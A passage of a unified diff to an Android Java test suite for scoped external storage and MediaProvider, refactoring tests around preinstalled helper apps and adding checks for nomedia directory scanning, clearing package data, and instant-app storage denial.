-            final Uri oldUri = MediaStore.scanFile(cr, imageFile);
-            assertThat(oldUri).isNotNull();
-
-            Files.copy(imageFile, temporaryFile);
-            assertThat(imageFile.delete()).isTrue();
-            assertCanRenameFile(temporaryFile, imageFile);
-
-            final Uri newUri = MediaStore.scanFile(cr, imageFile);
-            assertThat(newUri).isNotNull();
-            assertThat(newUri.getLastPathSegment()).isEqualTo(oldUri.getLastPathSegment());
-            // oldUri of imageFile is still accessible after delete and rename.
-            assertThat(cr.openFileDescriptor(oldUri, "rw")).isNotNull();
-        } finally {
-            imageFile.delete();
-            temporaryFile.delete();
+            nomediaFile.delete();
+            mediaFile.delete();
+            renamedMediaFile.delete();
+            nomediaDir.delete();
         }
     }
 
     @Test
-    public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
-        File invalidFile = new File(getDownloadDir(), "<>");
-        File validFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> { invalidFile.createNewFile(); });
+    public void testScanDoesntSkipDirtySubtree() throws Exception {
+        pollForManageExternalStorageAllowed();
 
-            assertThat(validFile.createNewFile()).isTrue();
-            // We can't rename a file to a file name with invalid FAT characters.
-            assertCantRenameFile(validFile, invalidFile);
+        final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File topLevelNomediaFile = new File(nomediaDir, ".nomedia");
+        final File nomediaSubDir = new File(nomediaDir, "child_" + TEST_DIRECTORY_NAME);
+        final File nomediaFileInSubDir = new File(nomediaSubDir, ".nomedia");
+        final File mediaFile1InSubDir = new File(nomediaSubDir, "1_" + IMAGE_FILE_NAME);
+        final File mediaFile2InSubDir = new File(nomediaSubDir, "2_" + IMAGE_FILE_NAME);
+        try {
+            if (!nomediaDir.exists()) {
+                assertTrue(nomediaDir.mkdirs());
+            }
+            if (!nomediaSubDir.exists()) {
+                assertTrue(nomediaSubDir.mkdirs());
+            }
+            assertThat(topLevelNomediaFile.createNewFile()).isTrue();
+            assertThat(nomediaFileInSubDir.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+
+            // Verify creating a new file in subdirectory sets dirty state, and scanning the top
+            // level nomedia directory will not skip scanning the subdirectory.
+            assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile1InSubDir, nomediaDir);
+
+            // Verify creating a new file in subdirectory sets dirty state, and scanning the
+            // subdirectory will not no-op.
+            assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile2InSubDir, nomediaSubDir);
         } finally {
-            invalidFile.delete();
-            validFile.delete();
+            nomediaFileInSubDir.delete();
+            mediaFile1InSubDir.delete();
+            mediaFile2InSubDir.delete();
+            topLevelNomediaFile.delete();
+            nomediaSubDir.delete();
+            nomediaDir.delete();
+            // Scan the directory to remove stale db rows.
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
         }
     }
 
     @Test
     public void testAndroidMedia() throws Exception {
+        // Check that the app does not have legacy external storage access
+        assertThat(Environment.isExternalStorageLegacy()).isFalse();
+
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
 
-        try {
-            installApp(TEST_APP_A);
+        final File myMediaDir = getExternalMediaDir();
+        final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath()
+                .replace(THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
 
-            final File myMediaDir = getExternalMediaDir();
-            final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath().
-                    replace(THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-
-            // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
-            // image files and exactly like Downloads for documents.
-            assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, TEST_APP_A);
-            assertSharedStorageAccess(getDcimDir(), getDownloadDir(), TEST_APP_A);
-
-        } finally {
-            uninstallApp(TEST_APP_A);
-        }
+        // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
+        // image files and exactly like Downloads for documents.
+        assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, APP_B_NO_PERMS);
+        assertSharedStorageAccess(getDcimDir(), getDownloadDir(), APP_B_NO_PERMS);
     }
 
     @Test
@@ -2531,6 +589,52 @@
     }
 
     /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaData() throws Exception {
+        verifyInsertFromExternalMediaDirViaData_allowed();
+        verifyInsertFromExternalPrivateDirViaData_denied();
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaData() throws Exception {
+        verifyUpdateToExternalDirsViaData_denied();
+    }
+
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
+    private void assertCreateFileAndScanNomediaDirDoesntNoOp(File newFile, File scanDir)
+            throws Exception {
+        assertThat(newFile.createNewFile()).isTrue();
+        // File is not added to database yet, but the directory is marked as dirty so that next
+        // scan doesn't no-op.
+        assertThat(getFileRowIdFromDatabase(newFile)).isEqualTo(-1);
+
+        MediaStore.scanFile(getContentResolver(), scanDir);
+        assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+    }
+
+    /**
      * Verifies that files created by {@code otherApp} in shared locations {@code imageDir}
      * and {@code documentDir} follow the scoped storage rules. Requires the running app to hold
      * {@code READ_EXTERNAL_STORAGE}.
@@ -2549,62 +653,21 @@
             // .. but not the binary file
             assertFileAccess_existsOnly(otherAppBinary);
             assertThrows(FileNotFoundException.class, () -> {
-                assertFileContent(otherAppBinary, new String().getBytes()); });
+                assertFileContent(otherAppBinary, new String().getBytes());
+            });
         } finally {
             deleteFileAsNoThrow(otherApp, otherAppImage.getAbsolutePath());
             deleteFileAsNoThrow(otherApp, otherAppBinary.getAbsolutePath());
         }
     }
 
-    /**
-     * Test that IS_PENDING is set for files created via filepath
-     */
-    @Test
-    public void testPendingFromFuse() throws Exception {
-        final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        try {
-            assertTrue(pendingFile.createNewFile());
-            // Newly created file should have IS_PENDING set
-            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(1);
-            }
-
-            // If we query with MATCH_EXCLUDE, we should still see this pendingFile
-            try (Cursor c = queryFileExcludingPending(pendingFile, MediaColumns.IS_PENDING)) {
-                assertThat(c.getCount()).isEqualTo(1);
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(1);
-            }
-
-            assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
-
-            // IS_PENDING should be unset after the scan
-            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(0);
-            }
-
-            installAppWithStoragePermissions(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
-            // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
-            try (Cursor c = queryFileExcludingPending(otherPendingFile, MediaColumns.IS_PENDING)) {
-                assertThat(c.getCount()).isEqualTo(0);
-            }
-        } finally {
-            pendingFile.delete();
-            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
 
     @Test
     public void testOpenOtherPendingFilesFromFuse() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         final File otherPendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherPendingFile);
 
             // We can read other app's pending file from FUSE via filePath
             assertCanQueryAndOpenFile(otherPendingFile, "r");
@@ -2612,41 +675,13 @@
             // We can also read other app's pending file via MediaStore API
             assertNotNull(openWithMediaProvider(otherPendingFile, "r"));
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that apps can't set attributes on another app's files.
-     */
-    @Test
-    public void testCantSetAttrOtherAppsFile() throws Exception {
-        // This path's permission is checked in MediaProvider (directory/external media dir)
-        final File externalMediaPath = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create the files
-            if (!externalMediaPath.exists()) {
-                assertThat(externalMediaPath.createNewFile()).isTrue();
-            }
-
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            // TEST_APP_A should not be able to setattr to other app's files.
-            assertWithMessage(
-                "setattr on directory/external media path [%s]", externalMediaPath.getPath())
-                .that(setAttrAs(TEST_APP_A, externalMediaPath.getPath()))
-                .isFalse();
-        } finally {
-            externalMediaPath.delete();
-            uninstallAppNoThrow(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherPendingFile.getAbsolutePath());
         }
     }
 
     @Test
     public void testNoIsolatedStorageCanCreateFilesAnywhere() throws Exception {
+        assertThat(Environment.isExternalStorageLegacy()).isTrue();
         final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
         final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
         final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
@@ -2661,44 +696,39 @@
 
     @Test
     public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
-        try {
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
+        assertThat(Environment.isExternalStorageLegacy()).isTrue();
+        // Let app A create a file in its data dir
+        final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                THIS_PACKAGE_NAME, APP_A_HAS_RES.getPackageName()));
+        final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                NONMEDIA_FILE_NAME);
+        assertCreateFilesAs(APP_A_HAS_RES, otherAppExternalDataFile);
 
-            // Let app A create a file in its data dir
-            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
-                    NONMEDIA_FILE_NAME);
-            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+        // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+        // file manager app doesn't have access to other app's external files directory
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+        assertThat(otherAppExternalDataFile.delete()).isFalse();
 
-            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
-            // file manager app doesn't have access to other app's external files directory
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
-            assertThat(otherAppExternalDataFile.delete()).isFalse();
+        assertThat(deleteFileAs(APP_A_HAS_RES, otherAppExternalDataFile.getPath())).isTrue();
 
-            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
-
-            assertThrows(IOException.class,
-                    () -> { otherAppExternalDataFile.createNewFile(); });
-
-        } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-        }
+        assertThrows(IOException.class,
+                () -> {
+                    otherAppExternalDataFile.createNewFile();
+                });
     }
 
     @Test
     public void testNoIsolatedStorageStorageReaddir() throws Exception {
+        assertThat(Environment.isExternalStorageLegacy()).isTrue();
         final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
         final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         final File otherTopLevelFile = new File(getExternalStorageDir(),
                 "other" + NONMEDIA_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            createFileUsingTradefedContentProvider(otherTopLevelFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
+            createFileAsLegacyApp(otherTopLevelFile);
 
             // We can list other apps' files
             assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -2710,31 +740,29 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            uninstallApp(TEST_APP_A);
+            deleteAsLegacyApp(otherTopLevelFile);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
         }
     }
 
     @Test
     public void testNoIsolatedStorageQueryOtherAppsFile() throws Exception {
+        assertThat(Environment.isExternalStorageLegacy()).isTrue();
         final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
         final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
-            installApp(TEST_APP_A);
             // Apps can't query other app's pending file, hence create file and publish it.
             assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
             assertCanQueryAndOpenFile(otherAppPdf, "rw");
             assertCanQueryAndOpenFile(otherAppImg, "rw");
             assertCanQueryAndOpenFile(otherAppMusic, "rw");
             assertCanQueryAndOpenFile(otherHiddenFile, "rw");
         } finally {
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
         }
     }
 
@@ -2780,167 +808,108 @@
         }
     }
 
-    /**
-     * Checks restrictions for opening pending and trashed files by different apps. Assumes that
-     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
-     * method doesn't uninstall given {@code testApp} at the end.
-     */
-    private void assertOpenPendingOrTrashed(Uri uri, TestApp testApp, boolean isImageOrVideo)
-            throws Exception {
-        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+    @Test
+    public void testClearPackageData() throws Exception {
+        // Check that the app does not have legacy external storage access
+        assertThat(Environment.isExternalStorageLegacy()).isFalse();
 
-        // App can open its pending or trashed file for read or write
-        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
-        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
 
-        // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
-        // write
-        assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-        assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-
-        final int testAppUid =
-                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // File Manager can open any pending or trashed file for read or write
-            assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-            assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-        } finally {
-            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
+        File fileToRemain = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        String testAppPackageName = APP_B_NO_PERMS.getPackageName();
+        File fileToBeDeleted =
+                new File(
+                        getAndroidMediaDir(),
+                        String.format("%s/%s", testAppPackageName, IMAGE_FILE_NAME));
+        File nestedFileToBeDeleted =
+                new File(
+                        getAndroidMediaDir(),
+                        String.format("%s/nesteddir/%s", testAppPackageName, IMAGE_FILE_NAME));
 
         try {
-            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            if (isImageOrVideo) {
-                // System Gallery can open any pending or trashed image/video file for read or write
-                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-                assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-            } else {
-                // System Gallery can't open other app's pending or trashed non-media file for read
-                // or write
-                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-                assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+            createAndCheckFileAsApp(APP_B_NO_PERMS, fileToRemain);
+            createAndCheckFileAsApp(APP_B_NO_PERMS, fileToBeDeleted);
+            createAndCheckFileAsApp(APP_B_NO_PERMS, nestedFileToBeDeleted);
+
+            executeShellCommand("pm clear " + testAppPackageName);
+
+            // Wait a max of 5 seconds for the cleaning after "pm clear" command to complete.
+            int i = 0;
+            while(i < 10 && getFileRowIdFromDatabase(fileToBeDeleted) != -1
+                && getFileRowIdFromDatabase(nestedFileToBeDeleted) != -1) {
+                Thread.sleep(500);
+                i++;
             }
+
+            assertThat(getFileOwnerPackageFromDatabase(fileToRemain)).isNull();
+            assertThat(getFileRowIdFromDatabase(fileToRemain)).isNotEqualTo(-1);
+
+            assertThat(getFileOwnerPackageFromDatabase(fileToBeDeleted)).isNull();
+            assertThat(getFileRowIdFromDatabase(fileToBeDeleted)).isEqualTo(-1);
+
+            assertThat(getFileOwnerPackageFromDatabase(nestedFileToBeDeleted)).isNull();
+            assertThat(getFileRowIdFromDatabase(nestedFileToBeDeleted)).isEqualTo(-1);
         } finally {
-            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            deleteFilesAs(APP_B_NO_PERMS, fileToRemain);
+            deleteFilesAs(APP_B_NO_PERMS, fileToBeDeleted);
+            deleteFilesAs(APP_B_NO_PERMS, nestedFileToBeDeleted);
         }
     }
 
     /**
-     * Checks restrictions for listing pending and trashed files by different apps. Assumes that
-     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
-     * method doesn't uninstall given {@code testApp} at the end.
+     * Tests that an instant app can't access external storage.
      */
-    private void assertListPendingOrTrashed(Uri uri, File file, TestApp testApp,
-            boolean isImageOrVideo) throws Exception {
-        final String parentDirPath = file.getParent();
-        assertTrue(new File(parentDirPath).isDirectory());
+    @Test
+    @AppModeInstant
+    public void testInstantAppsCantAccessExternalStorage() throws Exception {
+        assumeTrue("This test requires that the test runs as an Instant app",
+                getContext().getPackageManager().isInstantApp());
+        assertThat(getContext().getPackageManager().isInstantApp()).isTrue();
 
-        final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
-        assertThat(listedFileNames).doesNotContain(file);
+        // Check that the app does not have legacy external storage access
+        assertThat(Environment.isExternalStorageLegacy()).isFalse();
 
-        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+        // Can't read ExternalStorageDir
+        assertThat(getExternalStorageDir().list()).isNull();
 
-        assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
+        // Can't create a top-level direcotry
+        final File topLevelDir = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
+        assertThat(topLevelDir.mkdir()).isFalse();
 
-        // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
-        assertThat(listAs(testApp, parentDirPath)).doesNotContain(pendingOrTrashedFile.getName());
+        // Can't create file under root dir
+        final File newTxtFile = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        assertThrows(IOException.class,
+                () -> {
+                    newTxtFile.createNewFile();
+                });
 
-        final int testAppUid =
-                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // File Manager can see any pending or trashed file.
-            assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
-        } finally {
-            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
+        // Can't create music file under /MUSIC
+        final File newMusicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+        assertThrows(IOException.class,
+                () -> {
+                    newMusicFile.createNewFile();
+                });
 
-        try {
-            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            if (isImageOrVideo) {
-                // System Gallery can see any pending or trashed image/video file.
-                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
-            } else {
-                // System Gallery can't see other app's pending or trashed non media file.
-                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(testApp, parentDirPath))
-                        .doesNotContain(pendingOrTrashedFile.getName());
-            }
-        } finally {
-            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-        }
+        // getExternalFilesDir() is not null
+        assertThat(getExternalFilesDir()).isNotNull();
+
+        // Can't read/write app specific dir
+        assertThat(getExternalFilesDir().list()).isNull();
+        assertThat(getExternalFilesDir().exists()).isFalse();
     }
 
-    private Uri createPendingFile(File pendingFile) throws Exception {
-        assertTrue(pendingFile.createNewFile());
-
-        final ContentResolver cr = getContentResolver();
-        final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
-        assertNotNull(trashedFileUri);
-
-        final ContentValues values = new ContentValues();
-        values.put(MediaColumns.IS_PENDING, 1);
-        assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
-
-        return trashedFileUri;
-    }
-
-    private Uri createTrashedFile(File trashedFile) throws Exception {
-        assertTrue(trashedFile.createNewFile());
-
-        final ContentResolver cr = getContentResolver();
-        final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
-        assertNotNull(trashedFileUri);
-
-        trashFile(trashedFileUri);
-        return trashedFileUri;
-    }
-
-    private void trashFile(Uri uri) throws Exception {
-        final ContentValues values = new ContentValues();
-        values.put(MediaColumns.IS_TRASHED, 1);
-        assertEquals(1, getContentResolver().update(uri, values, Bundle.EMPTY));
-    }
-
-    /**
-     * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
-     * multiple db rows, file path is extracted from the first db row of the database query result.
-     */
-    private String getFilePathFromUri(Uri uri) {
-        final String[] projection = new String[] {MediaColumns.DATA};
-        try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
-            assertTrue(c.moveToFirst());
-            return c.getString(0);
-        }
-    }
-
-    private boolean isMediaTypeImageOrVideo(File file) {
-        return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
-    }
-
-    private static void assertIsMediaTypeImage(File file) {
-        final Cursor c = queryImageFile(file);
-        assertEquals(1, c.getCount());
-    }
-
-    private static void assertNotMediaTypeImage(File file) {
-        final Cursor c = queryImageFile(file);
-        assertEquals(0, c.getCount());
-    }
-
-    private static void assertCantQueryFile(File file) {
-        assertThat(getFileUri(file)).isNull();
-        // Confirm that file exists in the database.
-        assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+    private void createAndCheckFileAsApp(TestApp testApp, File newFile) throws Exception {
+        assertThat(createFileAs(testApp, newFile.getPath())).isTrue();
+        assertThat(getFileOwnerPackageFromDatabase(newFile))
+            .isEqualTo(testApp.getPackageName());
+        assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
     }
 
     private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
         for (File file : files) {
-            assertThat(createFileAs(testApp, file.getPath())).isTrue();
+            assertFalse("File already exists: " + file, file.exists());
+            assertTrue("Failed to create file " + file + " on behalf of "
+                            + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
         }
     }
 
@@ -2954,50 +923,18 @@
     private static void assertCreatePublishedFilesAs(TestApp testApp, File... files)
             throws Exception {
         for (File file : files) {
-            assertThat(createFileAs(testApp, file.getPath())).isTrue();
-            assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+            assertTrue("Failed to create published file " + file + " on behalf of "
+                    + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+            assertNotNull("Failed to scan " + file,
+                    MediaStore.scanFile(getContentResolver(), file));
         }
     }
 
-
     private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
         for (File file : files) {
             deleteFileAs(testApp, file.getPath());
         }
     }
-    private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
-            throws Exception {
-        for (String path: filePaths) {
-            assertTrue(deleteFileAs(testApp, path));
-        }
-    }
-
-    private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
-            throws Exception {
-        for (String path: filePaths) {
-            assertFalse(deleteFileAs(testApp, path));
-        }
-    }
-
-    private void deleteFiles(File... files) {
-        for (File file: files) {
-            if (file == null) continue;
-            file.delete();
-        }
-    }
-
-    private void deletePaths(String... paths) {
-        for (String path: paths) {
-            if (path == null) continue;
-            new File(path).delete();
-        }
-    }
-
-    private static void assertCanDeletePaths(String... filePaths) {
-        for (String filePath : filePaths) {
-            assertTrue(new File(filePath).delete());
-        }
-    }
 
     /**
      * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
@@ -3014,64 +951,6 @@
         }
     }
 
-    /**
-     * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
-     * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
-     * underlying file on disk but may be derived from different mount points and in that case
-     * have separate VFS caches.
-     */
-    private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
-            throws Exception {
-        FileDescriptor readFd = readPfd.getFileDescriptor();
-        FileDescriptor writeFd = writePfd.getFileDescriptor();
-
-        byte[] readBuffer = new byte[10];
-        byte[] writeBuffer = new byte[10];
-        Arrays.fill(writeBuffer, (byte) 1);
-
-        // Write so readFd has content to read from next
-        Os.pwrite(readFd, readBuffer, 0, 10, 0);
-        // Read so readBuffer is in readFd's mount VFS cache
-        Os.pread(readFd, readBuffer, 0, 10, 0);
-
-        // Assert that readBuffer is zeroes
-        assertThat(readBuffer).isEqualTo(new byte[10]);
-
-        // Write so writeFd and readFd should now see writeBuffer
-        Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
-
-        // Read so the last write can be verified on readFd
-        Os.pread(readFd, readBuffer, 0, 10, 0);
-
-        // Assert that the last write is indeed visible via readFd
-        assertThat(readBuffer).isEqualTo(writeBuffer);
-        assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
-    }
-
-    private void assertStartsWith(String actual, String prefix, boolean expected) throws Exception {
-        String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
-
-        if (expected) {
-            assertTrue(message, actual.startsWith(prefix));
-        } else {
-            assertFalse(message, actual.startsWith(prefix));
-        }
-    }
-
-    private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
-        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
-        String prefix = "/storage";
-
-        assertStartsWith(path, prefix, true);
-    }
-
-    private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
-        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
-        String prefix = "/mnt/user";
-
-        assertStartsWith(path, prefix, true);
-    }
-
     private static void assertCanCreateFile(File file) throws IOException {
         // If the file somehow managed to survive a previous run, then the test app was uninstalled
         // and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
@@ -3165,33 +1044,36 @@
         }
     }
 
-    private void createFileUsingTradefedContentProvider(File file) throws Exception {
-        // Files/Dirs are created using content provider. Owner of the Filse/Dirs is
-        // android.tradefed.contentprovider.
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createFileAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
         Log.d(TAG, "Creating file " + file);
-        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
     }
 
-    private void createDirUsingTradefedContentProvider(File file) throws Exception {
-        // Files/Dirs are created using content provider. Owner of the Files/Dirs is
-        // android.tradefed.contentprovider.
-        Log.d(TAG, "Creating Dir " + file);
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createDirectoryAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating directory " + file);
         // Create a tmp file in the target directory, this would also create the required
         // directory, then delete the tmp file. It would leave only new directory.
-        getContentResolver()
